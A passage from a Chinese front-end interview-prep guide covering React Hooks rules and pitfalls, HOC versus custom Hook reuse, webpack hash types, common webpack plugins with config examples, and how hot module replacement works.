first 和 second 的状态更新依赖于它们在 Hooks 调用中的顺序。如果在其他情况下改变了 Hooks 的顺序,会导致 useEffect 中的依赖不正确

💬 面试官追问

  • 资料编辑页先调用姓名的 useState,再调用年龄的 useState;有人认为 React 是按变量名保存状态,所以在移动端分支里交换两行也没关系,你怎么反驳?

    局部变量名不会成为 React 识别 Hook 状态的键,React 依赖组件每次渲染中稳定的调用位置来对应各个 Hook。分支里交换或跳过调用会让后续状态槽错位,因此必须保持姓名、年龄等 Hooks 的顺序一致。

  • 配置页有 30 个字段,其中部分字段由服务端开关决定;若每个字段都需要本地状态,怎样组织代码才能让开关增删字段时不改变父组件的 Hook 序列?

    可将字段封装成带稳定 key 的子组件,让每个字段组件在自身顶层调用固定数量的 Hooks,父组件只负责渲染列表。另一种方式是用单个状态对象保存字段映射;前者隔离生命周期,后者更新逻辑更集中但需谨慎维护映射。

  • 结算页今天只在 couponEnabled 为真时调用优惠券 Hook,配置上线后该值可能在一次会话内变化;即使两个分支最终渲染相同 DOM,为什么仍有风险?

    风险来自 Hook 调用序列而不是最终 DOM:开关变化会插入或移除一次调用,使后面的状态和副作用无法继续对应原位置。应始终调用优惠券 Hook,把是否执行订阅或请求的判断放进 Hook 内部,并确保禁用时正确清理。

  • 线上表单偶发把第二个输入框的状态显示到第三个输入框,同时某个 useEffect 读取了错误字段;你会如何判断是否属于 Hook 顺序问题?

    先对比异常前后各次渲染的条件分支、提前返回和循环,确认 Hook 的数量与排列是否变化,并结合规则插件定位违规点。若序列稳定,再检查列表 key 和状态更新逻辑;依赖数组错误会造成旧值,但不会单独解释 Hook 槽位整体错位。

  • 框架组想给内部 Hook 显式传入字符串 ID,以允许它在循环中调用;与保持顶层固定顺序相比,你会支持哪种方案?

    在 React 既有 Hook 机制下,业务传入 ID 不能替代稳定调用顺序,也不会使循环中的 Hook 合法。应改成子组件边界或单个 Hook 管理键值集合;前者符合独立生命周期,后者适合集中状态,但都要处理项目增删时的状态归属。

# class组件逻辑复用有哪些问题

⚡ 30 秒速记

  • 组件嵌套层级过多,不易于渲染、调试

class 组件常用的逻辑复用方案是 HOC 和 Render Props,但两者都会增加代码理解与维护成本。 HOC 容易造成组件嵌套层级过深,不便渲染和调试,还可能劫持 props,因此需要严格约定。Render Props 通过函数传递逻辑,学习和阅读成本较高,而且默认只能传递纯函数,能力存在限制。场景简单时这些方案仍可使用,但复用链路变长后,结构会明显变得复杂。

  • 高级组件HOC
    • 组件嵌套层级过多,不易于渲染、调试
    • HOC会劫持props,必须严格规范
  • Render Props
    • 学习成本高,不利于理解
    • 只能传递纯函数,而默认情况下纯函数功能有限

💬 面试官追问

  • 一个 withAuth(withTheme(withTrack(Page))) 页面能正常运行,负责人因此认为 HOC 嵌套只是代码风格问题;当线上埋点属性异常时,它会给调试带来什么实际麻烦?

    多层 HOC 会增加 React 树和调用链层级,定位究竟哪一层改写或注入了属性更困难。HOC 还可能劫持或覆盖 props,应约定命名、透传规则和包装顺序;否则功能正确也可能留下来源不明的隐性冲突。

  • 中台有 20 个页面都要复用权限和埋点,两个 HOC 都会注入 user 与 track;你会怎样控制 props 冲突和排查成本?

    应为注入属性建立明确契约,避免通用名称碰撞,并保证无关 props 原样透传;必要时将能力收敛到命名空间对象。还要固定组合顺序并改善调试名称,但包装层持续增加时,仍应考虑把纯逻辑迁到自定义 Hook。

  • 遗留系统已大量使用 Render Props,新增需求要求同时组合拖拽、权限和请求状态;继续叠加三个 Render Props 会遇到什么约束?

    多个 Render Props 会让渲染函数嵌套加深,数据来源和控制流更难阅读,团队也需理解其函数传递模式。若复用内容主要是状态与副作用,可逐步转成自定义 Hooks;若必须复用渲染结构,Render Props 或组件组合仍有保留价值。

  • 线上升级某个 HOC 后,页面收到的 onChange 行为改变,但业务组件没有提交记录;你会沿着什么路径定位属性被谁劫持了?

    先检查每层 HOC 的输入、输出与展开 props 的先后顺序,确认是否覆盖了业务传入的 onChange。再缩减包装层或逐层记录属性来源;若契约未限制覆盖行为,修复后还需补充命名和透传规范,否则同类故障会再次出现。

  • 架构评审在 HOC、Render Props 和自定义 Hook 之间争论,目标只是复用订阅状态,不要求统一页面结构;你会选哪一种并保留什么例外?

    仅复用订阅状态时优先自定义 Hook,可把订阅、状态与取消订阅聚合起来,也不会新增组件嵌套或注入 props。若需要包裹渲染结果、统一错误边界或横切层,HOC 或组件组合仍更合适,不能用 Hook 强行替代结构复用。

# Hooks组件逻辑复用有哪些好处

⚡ 30 秒速记

  • 相比 HOC 和 Render Props,用自定义 Hook(useXxx)复用逻辑的好处

自定义 Hook 能用更清晰、更轻量的方式复用组件逻辑。 返回值由调用方命名,来源明确,也不会像 HOC 或 Render Props 那样增加组件嵌套。状态、副作用和清理逻辑可以按关注点聚合,多个 Hook 还能自由组合,类型推导也更友好。它只能复用逻辑;需要复用结构时用组合,需要包裹渲染结果时仍可用 HOC。

相比 HOC 和 Render Props,用自定义 Hook(useXxx)复用逻辑的好处:

  • 变量作用域很明确:自定义 Hook 返回的值由调用方自己命名解构(const { data, loading } = useRequest()),来源清晰;不像 HOC 通过 props 注入、来源不明、还可能命名冲突。
  • 不会产生组件嵌套:自定义 Hook 只是函数调用,不像 HOC/Render Props 会包裹出额外的组件层级(「嵌套地狱」),DOM 结构和 React 树都更扁平、调试更容易。
  • 关联逻辑聚合:一个自定义 Hook 里可以把「状态 + 副作用 + 清理」写在一起(如订阅和取消订阅),按关注点组织;而类组件被 componentDidMount/componentWillUnmount 拆成两半。
  • 组合灵活:多个自定义 Hook 可以自由组合(一个组件里用多个 useXxx),且 Hook 之间可以互相调用,复用粒度更细。
  • 类型友好:TS 对函数的类型推导比 HOC 的高阶包装好写得多。

注意边界:Hooks 只能复用「逻辑」,不能复用「结构」——需要包裹渲染结果、统一加错误边界/埋点层时仍要用 HOC 或组合(children)。所以是「逻辑复用用 Hooks、结构复用用组合、需要包裹用 HOC」。

💬 面试官追问

  • 详情页把 useRequest 返回值解构为 data、loading,负责人说这和 HOC 注入同名 props 没区别;当页面同时接入两个请求时,Hook 的作用域优势体现在哪里?

    两个 Hook 的返回值都由调用方自行命名,例如 productData 与 reviewData,来源在调用位置可见,也不会自动占用组件的 props 名称。调用方仍需保持命名一致,否则自由重命名也可能降低可读性。

  • 实时看板要组合请求、窗口尺寸和鼠标位置三个能力,并确保监听器卸载;用自定义 Hooks 落地时怎样组织,避免逻辑再次散回组件?

    可分别封装 useRequest、useWindowSize、useMousePosition,每个 Hook 内聚自己的状态、副作用和清理,页面只组合返回结果。边界应按关注点划分;若多个 Hook 共享同一订阅,盲目拆分可能产生重复监听,需要上移协调。

  • 团队原先用 HOC 统一权限,后来需求改为既控制数据请求又必须包裹无权限占位结构;是否应全部迁成 usePermission?

    权限判断和相关状态可由 usePermission 复用,但统一包裹的占位结构仍应交给组件组合或 HOC。Hooks 只能复用逻辑,不能直接复用渲染结构;全部迁移会迫使每个页面重复结构或把 JSX 不恰当地塞进逻辑层。

  • 迁移后某页面 React 树确实变扁平了,但快速切换账号时仍显示上一账号的数据;这是否说明 Hooks 的逻辑复用方案失败了,怎么排查?

    树变扁平只解决额外包装层,不自动处理异步竞态或旧状态。应检查请求 Hook 的依赖是否包含账号标识,并在清理时取消或失效旧请求;若缓存需要跨账号共享,还必须把缓存键纳入账号维度。

  • 组件库负责人主张所有复用都改成 Hooks,业务负责人还需要统一错误边界、埋点包装和卡片布局;你会给出怎样的选型边界?

    状态、副作用和可组合行为优先用自定义 Hooks,调用方命名清晰,TypeScript 对函数输入输出也更容易表达。错误边界、埋点包裹和统一布局涉及结构,应使用 HOC 或 children 组合;混用是职责划分,不必追求单一机制。

# Hooks使用中的几个注意事项

⚡ 30 秒速记

  • useState初始化值,只有第一次有效

使用 Hooks 时,要重点留意状态初始化、闭包和依赖项。 useState 的初始值只在首次渲染时生效,后续只能通过更新函数修改。空依赖的 useEffect 不会随重新渲染再次执行,定时器读取旧状态时可借助 useRef,并在返回函数中清理。依赖里若直接放对象或数组,引用变化可能触发循环,通常应拆成稳定的值类型。

  • useState初始化值,只有第一次有效
  • useEffect内部不能修改state,第二个参数需要是空的依赖[]
  • useEffect可能出现死循环,依赖[]里面有对象、数组等引用类型,把引用类型拆解为值类型
// 第一个坑:`useState`初始化值,只有第一次有效
import React, { useState } from 'react'

// 子组件
function Child({ userInfo }) {
    // render: 初始化 state
    // re-render: 只恢复初始化的 state 值,不会再重新设置新的值
    //            只能用 setName 修改
    const [ name, setName ] = useState(userInfo.name)

    return <div>
        <p>Child, props name: {userInfo.name}</p>
        <p>Child, state name: {name}</p>
    </div>
}


function App() {
    const [name, setName] = useState('test')
    const userInfo = { name }

    return <div>
        <div>
            Parent &nbsp;
            <button onClick={() => setName('test1')}>setName</button>
        </div>
        <Child userInfo={userInfo}/>
    </div>
}

export default App
// 第二个坑:`useEffect`内部不能修改`state`
import React, { useState, useRef, useEffect } from 'react'

function UseEffectChangeState() {
    const [count, setCount] = useState(0)

    // 模拟 DidMount
    const countRef = useRef(0)
    useEffect(() => {
        console.log('useEffect...', count)

        // 定时任务
        const timer = setInterval(() => {
            console.log('setInterval...', countRef.current) // 一直是0 闭包陷阱
            // setCount(count + 1)
            setCount(++countRef.current) // 解决方案使用useRef
        }, 1000)

        // 清除定时任务
        return () => clearTimeout(timer)
    }, []) // 依赖为 []

    // 依赖为 [] 时: re-render 不会重新执行 effect 函数
    // 没有依赖:re-render 会重新执行 effect 函数

    return <div>count: {count}</div>
}

export default UseEffectChangeState

💬 面试官追问

  • 用户编辑页把 userInfo.name 传给子组件,接口切换用户后父组件显示新名字,子组件里 useState(userInfo.name) 却仍是旧名字;为什么重新渲染没有重新初始化?

    useState(userInfo.name) 的初始化值只在组件首次挂载时生效,后续重新渲染只会读取现有 state。若本地值必须跟随用户变化,应明确同步规则并调用 setName,或通过稳定的 key 让组件重新挂载;盲目同步会覆盖用户尚未提交的编辑。

  • 消息看板每秒收到一次计数,定时器写在依赖为 [] 的 useEffect 中,回调里的 count 始终是 0;你会怎样改,为什么不是简单把 count 放进依赖数组?

    依赖为 [] 时,定时器回调捕获的是首次渲染时的 count,因此会出现旧闭包。可用函数式更新,或用 useRef 保存回调需要读取的最新值;直接加入 count 会让每次计数变化都清理并重建定时器,语义和开销都随之改变。

  • 搜索页的 useEffect 依赖写成 [filters],而组件每次渲染都创建新的 { keyword, page },上线后请求连续触发;你会先改依赖还是先改对象创建方式?

    先确认副作用真正依赖的是哪些字段,再把 keyword、page 等值类型直接列入依赖,避免对象引用每次变化导致重复执行。若下游确实需要稳定对象,再考虑稳定其引用;遗漏字段虽然能暂时止住循环,却可能留下旧条件请求。

  • 订单轮询组件在 useEffect([]) 中调用 setCount(++countRef.current),产品又要求切换订单时将计数归零;此时继续保留空依赖会有什么问题?

    空依赖意味着副作用只按挂载生命周期建立,切换订单不会自动重置引用值或重建对应轮询。应把订单标识纳入依赖,并在清理函数中取消旧定时器,再初始化新订单状态;若组件通过 key 重新挂载,也能重置,但会连带丢失组件内其他状态。

  • 页面离开后控制台仍持续打印轮询日志,代码用 setInterval 创建任务,却在清理函数里调用 clearTimeout(timer);你会怎样定位这类 Hooks 故障?

    先确认副作用是否返回了清理函数、清理是否在卸载或依赖变化时执行,再核对定时器句柄和对应的取消 API。这里应让创建与清理语义匹配,并检查开发环境重复挂载是否暴露了清理缺陷;只压掉日志不能阻止后台任务继续运行。

# 8 Webpack

# hash、chunkhash、contenthash区别

⚡ 30 秒速记

  • 如果是hash的话,是和整个项目有关的,有一处文件发生更改则所有文件的hash值都会发生改变且它们共用一个hash值

hash、chunkhash 和 contenthash 的区别,本质上是计算与失效的粒度不同。 hash 面向整个项目,一处文件改变,所有使用该值的文件都会一起变化。chunkhash 面向入口对应的 chunk,同一 chunk 内有改动时,相关文件的值会变化。contenthash 面向单个生成文件,只有文件内容变化才更新,更适合减少其他资源的无效缓存失效。

  • 如果是hash的话,是和整个项目有关的,有一处文件发生更改则所有文件的hash值都会发生改变且它们共用一个hash值;
  • 如果是chunkhash的话,只和entry的每个入口文件有关,也就是同一个chunk下的文件有所改动该chunk下的文件的hash值就会发生改变
  • 如果是contenthash的话,和每个生成的文件有关,只有当要构建的文件内容发生改变时才会给该文件生成新的hash值,并不会影响其它文件。

💬 面试官追问

  • 运营只改了首页一行文案,发布后所有静态资源文件名都变化,CDN 缓存几乎全部失效;如果输出名使用的是 [hash],你怎么解释这个现象?

    hash 与整个项目构建相关,任一文件变化都可能使所有使用该值的产物名称一起改变,而且这些文件共享同一个构建哈希。它实现简单,却会扩大缓存失效范围;希望未变资源继续命中缓存时,不应把项目级 hash 当作文件内容标识。

  • 一个多入口后台包含 admin 和 report,只修改 admin 入口下的模块后,哪些产物可能因 [chunkhash] 改名,你会怎样验证缓存边界?

    chunkhash 以入口形成的 chunk 为关联范围,修改 admin 所属代码会影响该 chunk 下使用该哈希的文件,而不应天然波及无关入口。应对比两次构建的产物清单和文件名,确认共享模块是否让两个入口产生关联;入口拆分不合理时,缓存边界仍可能扩大。

  • 同一个 chunk 同时产出 JavaScript 和 CSS,设计师只改了样式,团队希望脚本文件名保持不变;chunkhash 与 contenthash 你会选哪个?

    应优先让各生成文件使用 contenthash,因为它只随对应文件内容变化,CSS 改动不必带动未变的 JavaScript 改名。chunkhash 绑定代码块,可能让同一 chunk 的相关产物一起变化;代价是命名与构建配置更细,需要检查插件是否正确使用文件级内容哈希。

  • 发布后浏览器请求了旧 HTML 中记录的脚本名,CDN 上却只保留新 contenthash 文件,页面直接白屏;这是哈希算法选错了吗,你先查什么?

    这更像 HTML、静态资源发布顺序或缓存保留策略不一致,而不是 contenthash 本身错误。先核对 HTML 引用、构建资源清单和 CDN 文件是否属于同一批次,并保留一段时间的旧哈希资源;即使文件级缓存设计正确,原子发布缺失仍会造成资源找不到。

  • 构建负责人主张所有文件统一用 [hash] 方便排查,性能负责人要求最大化长期缓存;你会如何给出折中方案?

    入口级或文件级产物应按缓存目标选择 chunkhash 或 contenthash,同时通过资源清单记录一次构建的对应关系,无需依赖统一文件名定位版本。统一 [hash] 管理直观,但任何改动都会扩大缓存失效;更细粒度哈希提升命中率,也增加产物追踪和发布一致性要求。

# webpack常用插件总结

⚡ 30 秒速记

  • 1.1 html-webpack-plugin

webpack 常用插件可以按资源处理、代码处理、构建优化和分析四类来选。 资源侧常用 html-webpack-plugin 生成页面、copy-webpack-plugin 拷贝文件;代码侧可用 DefinePlugin 注入常量,并用 mini-css-extract-plugin 提取样式。优化时可用 SplitChunksPlugin 拆分公共模块,或用 thread-loader、缓存类插件加快编译。排查构建问题时,我一般再接入 webpack-bundle-analyzer 或 speed-measure-webpack-plugin,避免无目的地堆插件。

1. 功能类

1.1 html-webpack-plugin

自动生成html,基本用法:

new HtmlWebpackPlugin({
  filename: 'index.html', // 生成文件名
  template: path.join(process.cwd(), './index.html') // 模班文件
})

1.2 copy-webpack-plugin

拷贝资源插件

new CopyWebpackPlugin([
  {
    from: path.join(process.cwd(), './vendor/'),
    to: path.join(process.cwd(), './dist/'),
    ignore: ['*.json']
  }
])

1.3 webpack-manifest-plugin && assets-webpack-plugin

俩个插件效果一致,都是生成编译结果的资源单,只是资源单的数据结构不一致而已

webpack-manifest-plugin 基本用法

module.exports = {
  plugins: [
    new ManifestPlugin()
  ]
}

assets-webpack-plugin 基本用法

module.exports = {
  plugins: [
    new AssetsPlugin()
  ]
}

1.4 clean-webpack-plugin

在编译之前清理指定目录指定内容

// 清理目录
const pathsToClean = [
  'dist',
  'build'
]
 
// 清理参数
const cleanOptions = {
  exclude:  ['shared.js'], // 跳过文件
}
module.exports = {
  // ...
  plugins: [
    new CleanWebpackPlugin(pathsToClean, cleanOptions)
  ]
}

1.5 compression-webpack-plugin

提供带 Content-Encoding 编码的压缩版的资源

module.exports = {
  plugins: [
    new CompressionPlugin()
  ]
}

1.6 progress-bar-webpack-plugin

编译进度条插件

module.exports = {
  //...
  plugins: [
    new ProgressBarPlugin()
  ]
}

2. 代码相关类

2.1 webpack.ProvidePlugin

自动加载模块,如 $ 出现,就会自动加载模块;$ 默认为'jquery'的exports

new webpack.ProvidePlugin({
  $: 'jquery',
})

2.2 webpack.DefinePlugin

定义全局常量

new webpack.DefinePlugin({
  'process.env': {
    NODE_ENV: JSON.stringify(process.env.NODE_ENV)
  }
})

2.3 mini-css-extract-plugin && extract-text-webpack-plugin

提取css样式,对比

  • mini-css-extract-plugin 为webpack4及以上提供的plugin,支持css chunk
  • extract-text-webpack-plugin 只能在webpack3 及一下的版本使用,不支持css chunk

基本用法 extract-text-webpack-plugin

const ExtractTextPlugin = require("extract-text-webpack-plugin");
 
module.exports = {
  module: {
    rules: [
      {
        test: /\.css$/,
        use: ExtractTextPlugin.extract({
          fallback: "style-loader",
          use: "css-loader"
        })
      }
    ]
  },
  plugins: [
    new ExtractTextPlugin("styles.css"),
  ]
}

基本用法 mini-css-extract-plugin

const MiniCssExtractPlugin = require("mini-css-extract-plugin");
module.exports = {
    module: {
    rules: [
      {
        test: /\.css$/,
        use: [
          {
            loader: MiniCssExtractPlugin.loader,
            options: {
              publicPath: '/'  // chunk publicPath
            }
          },
          "css-loader"
        ]
      }
    ]
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: "[name].css", // 主文件名
      chunkFilename: "[id].css"  // chunk文件名
    })
  ]
}

3. 编译结果优化类

3.1 wbepack.IgnorePlugin

忽略regExp匹配的模块

new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/)

3.2 uglifyjs-webpack-plugin

代码丑化,用于js压缩

module.exports = {
  //...
  optimization: {
    minimizer: [new UglifyJsPlugin({
      cache: true,   // 开启缓存
      parallel: true, // 开启多线程编译
      sourceMap: true,  // 是否sourceMap
      uglifyOptions: {  // 丑化参数
        comments: false,
        warnings: false,
        compress: {
          unused: true,
          dead_code: true,
          collapse_vars: true,
          reduce_vars: true
        },
        output: {
          comments: false
        }
      }
    }]
  }
};

3.3 optimize-css-assets-webpack-plugin

css压缩,主要使用 cssnano 压缩器 https://github.com/cssnano/cssnano

module.exports = {
  //...
  optimization: {
    minimizer: [new OptimizeCssAssetsPlugin({
      cssProcessor: require('cssnano'),   // css 压缩优化器
      cssProcessorOptions: { discardComments: { removeAll: true } } // 去除所有注释
    })]
  }
};

3.4 webpack-md5-hash

使你的chunk根据内容生成md5,用这个md5取代 webpack chunkhash。

var WebpackMd5Hash = require('webpack-md5-hash');
 
module.exports = {
  // ...
  output: {
    //...
    chunkFilename: "[chunkhash].[id].chunk.js"
  },
  plugins: [
    new WebpackMd5Hash()
  ]
};

3.5 SplitChunksPlugin

  • CommonChunkPlugin 的后世,用于chunk切割。

webpack 把 chunk 分为两种类型,一种是初始加载initial chunk,另外一种是异步加载 async chunk,如果不配置SplitChunksPlugin,webpack会在production的模式下自动开启,默认情况下,webpack会将 node_modules 下的所有模块定义为异步加载模块,并分析你的 entry、动态加载(import()、require.ensure)模块,找出这些模块之间共用的node_modules下的模块,并将这些模块提取到单独的chunk中,在需要的时候异步加载到页面当中,其中默认配置如下

module.exports = {
  //...
  optimization: {
    splitChunks: {
      chunks: 'async', // 异步加载chunk
      minSize: 30000,
      maxSize: 0,
      minChunks: 1,
      maxAsyncRequests: 5,
      maxInitialRequests: 3,
      automaticNameDelimiter: '~', // 文件名中chunk分隔符
      name: true,
      cacheGroups: {
        vendors: {
          test: /[\\/]node_modules[\\/]/,  // 
          priority: -10
        },
        default: {
          minChunks: 2,  // 最小的共享chunk数
          priority: -20,
          reuseExistingChunk: true
        }
      }
    }
  }
};

4. 编译优化类

4.1 DllPlugin && DllReferencePlugin && autodll-webpack-plugin

  • dllPlugin将模块预先编译,DllReferencePlugin 将预先编译好的模块关联到当前编译中,当 webpack 解析到这些模块时,会直接使用预先编译好的模块。
  • autodll-webpack-plugin 相当于 dllPlugin 和 DllReferencePlugin 的简化版,其实本质也是使用 dllPlugin && DllReferencePlugin,它会在第一次编译的时候将配置好的需要预先编译的模块编译在缓存中,第二次编译的时候,解析到这些模块就直接使用缓存,而不是去编译这些模块

dllPlugin 基本用法:

const output = {
  filename: '[name].js',
  library: '[name]_library',
  path: './vendor/'
}

module.exports = {
  entry: {
    vendor: ['react', 'react-dom']  // 我们需要事先编译的模块,用entry表示
  },
  output: output,
  plugins: [
    new webpack.DllPlugin({  // 使用dllPlugin
      path: path.join(output.path, `${output.filename}.json`),
      name: output.library // 全局变量名, 也就是 window 下 的 [output.library]
    })
  ]
}

DllReferencePlugin 基本用法:

const manifest = path.resolve(process.cwd(), 'vendor', 'vendor.js.json')

module.exports = {
  plugins: [
    new webpack.DllReferencePlugin({
      manifest: require(manifest), // 引进dllPlugin编译的json文件
      name: 'vendor_library' // 全局变量名,与dllPlugin声明的一致
    }
  ]
}

autodll-webpack-plugin 基本用法:

module.exports = {
  plugins: [
    new AutoDllPlugin({
      inject: true, // 与 html-webpack-plugin 结合使用,注入html中
      filename: '[name].js',
      entry: {
        vendor: [
          'react',
          'react-dom'
        ]
      }
    })
  ]
}

4.2 happypack && thread-loader

多线程编译,加快编译速度,thread-loader不可以和 mini-css-extract-plugin 结合使用

happypack 基本用法

const HappyPack = require('happypack');
const os = require('os');
const happyThreadPool = HappyPack.ThreadPool({ size: os.cpus().length });
const happyLoaderId = 'happypack-for-react-babel-loader';

module.exports = {
  module: {
    rules: [{
      test: /\.jsx?$/,
      loader: 'happypack/loader',
      query: {
        id: happyLoaderId
      },
      include: [path.resolve(process.cwd(), 'src')]
    }]
  },
  plugins: [new HappyPack({
    id: happyLoaderId,
    threadPool: happyThreadPool,
    loaders: ['babel-loader']
  })]
}

thread-loader 基本用法

module.exports = {
  module: {
    rules: [
      {
        test: /\.js$/,
        include: path.resolve("src"),
        use: [
          "thread-loader",
          // your expensive loader (e.g babel-loader)
          "babel-loader"
        ]
      }
    ]
  }
}

4.3 hard-source-webpack-plugin && cache-loader

使用模块编译缓存,加快编译速度

hard-source-webpack-plugin 基本用法

module.exports = {
  plugins: [
    new HardSourceWebpackPlugin()
  ]
}

cache-loader 基本用法

module.exports = {
  module: {
    rules: [
      {
        test: /\.ext$/,
        use: [
          'cache-loader',
          ...loaders
        ],
        include: path.resolve('src')
      }
    ]
  }
}

5. 编译分析类

5.1 webpack-bundle-analyzer

编译模块分析插件

new BundleAnalyzerPlugin({
  analyzerMode: 'server',
  analyzerHost: '127.0.0.1',
  analyzerPort: 8889,
  reportFilename: 'report.html',
  defaultSizes: 'parsed',
  generateStatsFile: false,
  statsFilename: 'stats.json',
  statsOptions: null,
  logLevel: 'info'
}),

5.2 stats-webpack-plugin && PrefetchPlugin

stats-webpack-plugin 将构建的统计信息写入文件,该文件可在 http://webpack.github.io/analyse中上传进行编译分析,并根据分析结果,可使用 PrefetchPlugin 对部分模块进行预解析编译

stats-webpack-plugin 基本用法:

module.exports = {
  plugins: [
    new StatsPlugin('stats.json', {
      chunkModules: true,
      exclude: [/node_modules[\\\/]react/]
    })
  ]
};

PrefetchPlugin 基本用法:

module.exports = {
  plugins: [
    new webpack.PrefetchPlugin('/web/', 'app/modules/HeaderNav.jsx'),
    new webpack.PrefetchPlugin('/web/', 'app/pages/FrontPage.jsx')
];
}

5.3 speed-measure-webpack-plugin

统计编译过程中,各loader和plugin使用的时间

const SpeedMeasurePlugin = require("speed-measure-webpack-plugin");
 
const smp = new SpeedMeasurePlugin();
 
const webpackConfig = {
  plugins: [
    new MyPlugin(),
    new MyOtherPlugin()
  ]
}
module.exports = smp.wrap(webpackConfig);

💬 面试官追问

  • 团队在配置评审中列了十几个插件,却说不清 Loader 和 Plugin 的边界;遇到 CSS 提取、全局常量注入和静态目录拷贝,你会如何归类?

    CSS 内容的读取与转换通常由 loader 链完成,而提取独立 CSS 可交给 mini-css-extract-plugin;全局常量注入对应 DefinePlugin,静态资源拷贝对应 copy-webpack-plugin。插件介入构建流程并处理产物或环境,不能因名字里有 webpack 就替代模块转换规则。

  • 多页应用发布后,后端不知道带哈希的 JS 和 CSS 文件名,开发提议把路径硬编码进模板;你会选哪类插件把构建结果交给后端?

    应生成资源清单,让后端按入口读取实际产物映射,可使用 webpack-manifest-plugin 或 assets-webpack-plugin,两者主要差异在清单数据结构。硬编码会在哈希变化后失效;采用清单后仍要保证模板与清单来自同一次构建和发布批次。

  • 首屏包持续变大,产品要求拆出公共依赖,开发又担心异步页面请求数过多;你会怎样调整 SplitChunksPlugin,而不是直接复制默认配置?

    先依据入口、动态 import() 和共享依赖关系确认哪些模块值得形成公共 chunk,再围绕 chunks、minSize、请求数限制及 cacheGroups 调整切割规则。拆得过少会重复下载,拆得过细会增加请求与运行时管理成本;最终应检查产物图而非只看配置项。

  • CI 构建突然变慢,怀疑 babel-loader、压缩器和某个自研插件中的一个拖住流水线;你会用什么证据定位,再决定是否上多线程或缓存?

    先用 speed-measure-webpack-plugin 统计各 loader 和插件耗时,并用构建统计或分析工具确认瓶颈位置。只有昂贵且可并行的转换才适合 thread-loader,重复模块编译才可能从缓存获益;线程启动、缓存失效和兼容限制可能抵消收益。

  • 一个仍在维护的旧工程准备升级构建链,候选方案包括 extract-text-webpack-plugin 和 mini-css-extract-plugin;如果还要支持异步 CSS chunk,你怎么选?

    需要支持 CSS chunk 时应选择 mini-css-extract-plugin,资料中的 extract-text-webpack-plugin 面向较早的构建体系且不支持该能力。迁移时要同时核对 loader 链、publicPath、主文件名和异步文件名;只替换插件名称可能导致样式路径或加载顺序异常。

  • 线上包体异常增大,但构建仍成功,研发、运维分别怀疑重复依赖和压缩未生效;你会组合哪些插件产出可核验的结论?

    先用 webpack-bundle-analyzer 查看模块组成和体积分布,并输出 stats 文件保留模块、chunk 与资源证据,再检查 JavaScript、CSS 压缩及压缩版资源是否按预期生成。分析插件负责揭示产物,不能自动修复拆包或压缩;最终还需把异常模块映射回入口和配置。

# webpack热更新原理

⚡ 30 秒速记

  • 当修改了一个或多个文件

webpack 热更新的核心,是只重新编译并替换发生变化的模块,尽量不刷新整个页面。 文件变化后,文件系统会通知 webpack,它重新构建相关模块,再让 HMR Server 通过 WebSocket 告知浏览器端的 HMR runtime。运行时随后通过 HTTP 请求获取更新内容,并替换对应模块。如果模块无法安全更新,就会退化为整页刷新,因此页面状态也可能丢失。

  • 当修改了一个或多个文件;
  • 文件系统接收更改并通知 webpack;
  • webpack 重新编译构建一个或多个模块,并通知 HMR 服务器进行更新;
  • HMR Server 使用 webSocket 通知 HMR runtime 需要更新,HMR 运行时通过 HTTP 请求更新 jsonp
  • HMR 运行时替换更新中的模块,如果确定这些模块无法更新,则触发整个页面刷新

💬 面试官追问

  • 开发者说 HMR 就是浏览器收到通知后整页刷新,但修改按钮样式时页面状态明明被保留了;你会怎样指出这句话的问题?

    HMR 的目标是由运行时替换可接受更新的模块,不是每次都重新加载整页。文件变化后 webpack 重编译相关模块,服务器通过 WebSocket 通知运行时,运行时再经 HTTP 获取更新;只有无法完成模块更新时才退化为整页刷新。

  • 一个表单页正在填写数据,修改 CSS 后希望即时生效且不丢表单状态;从文件保存到样式替换,中间经过哪些关键环节?

    文件系统先把变化通知 webpack,随后只重新编译涉及的模块,并通知 HMR 服务端已有更新。服务端通过 WebSocket 告知浏览器中的 HMR runtime,运行时通过 HTTP 拉取更新内容并替换模块;若更新边界不能被接受,页面刷新仍会丢失表单状态。

  • 本地单机开发 HMR 正常,放到带反向代理的远程开发环境后只能手动刷新,构建日志显示模块已重新编译;你会优先排查哪条链路?

    既然重新编译已经发生,应优先检查 HMR 服务端到浏览器的 WebSocket 是否建立并收到更新通知,再看运行时的 HTTP 更新请求是否被代理、路径或缓存策略阻断。还要确认页面加载了 HMR runtime;只反复修改监听配置无法解决传输链路问题。

  • 微前端容器能热替换自己的模块,但修改某个子应用后总触发整页刷新;这说明 HMR 的哪项约束发生了变化?

    这通常说明更新模块沿依赖边界没有被运行时接受,或容器与子应用之间缺少可处理该更新的边界。HMR runtime 在无法确定安全替换时会触发整页刷新;需要沿更新模块向上检查接收关系,而不能仅凭 WebSocket 已连通就认定链路完整。

  • 团队想把 HMR 直接类比成线上增量发布,因为二者都只传变化内容;你会如何处理这个选型冲突?

    HMR 是开发期的模块更新机制,依赖开发服务器、浏览器内运行时以及更新失败后的刷新兜底,不能据此推导线上发布的原子性和缓存策略。线上增量发布还要处理版本一致性、旧资源保留和回滚;两者可共享差量思想,但故障边界不同。

# webpack原理简述

⚡ 30 秒速记

  • 1.1 核心概念

webpack 本质上是从入口分析依赖,把不同资源转换并组织成一个或多个可运行产物的模块打包工具。 初始化时它合并配置和命令行参数,创建 Compiler,并执行插件的 apply 方法注册钩子。构建时从 entry 递归处理依赖,借助 Loader 转换文件并形成模块依赖图;生成时再按入口和动态引入关系组装 Chunk,产出 Asset 并写入 output。Loader 负责内容转换,Plugin 则能介入各阶段,这也是它扩展性强的原因。

1.1 核心概念

JavaScript 的 模块打包工具 (module bundler)。通过分析模块之间的依赖,最终将所有模块打包成一份或者多份代码包 (bundler),供 HTML 直接引用。实质上,Webpack 仅仅提供了 打包功能 和一套 文件处理机制,然后通过生态中的各种 Loader 和 Plugin 对代码进行预编译和打包。因此 Webpack 具有高度的可拓展性,能更好的发挥社区生态的力量。

  • Entry: 入口文件,Webpack会从该文件开始进行分析与编译;
  • Output: 出口路径,打包后创建 bundler的文件路径以及文件名;
  • Module: 模块,在 Webpack 中任何文件都可以作为一个模块,会根据配置的不同的 Loader 进行加载和打包;
  • Chunk: 代码块,可以根据配置,将所有模块代码合并成一个或多个代码块,以便按需加载,提高性能;
  • Loader: 模块加载器,进行各种文件类型的加载与转换;
  • Plugin: 拓展插件,可以通过 Webpack 相应的事件钩子,介入到打包过程中的任意环节,从而对代码按需修改;

1.2 工作流程 (加载 - 编译 - 输出)

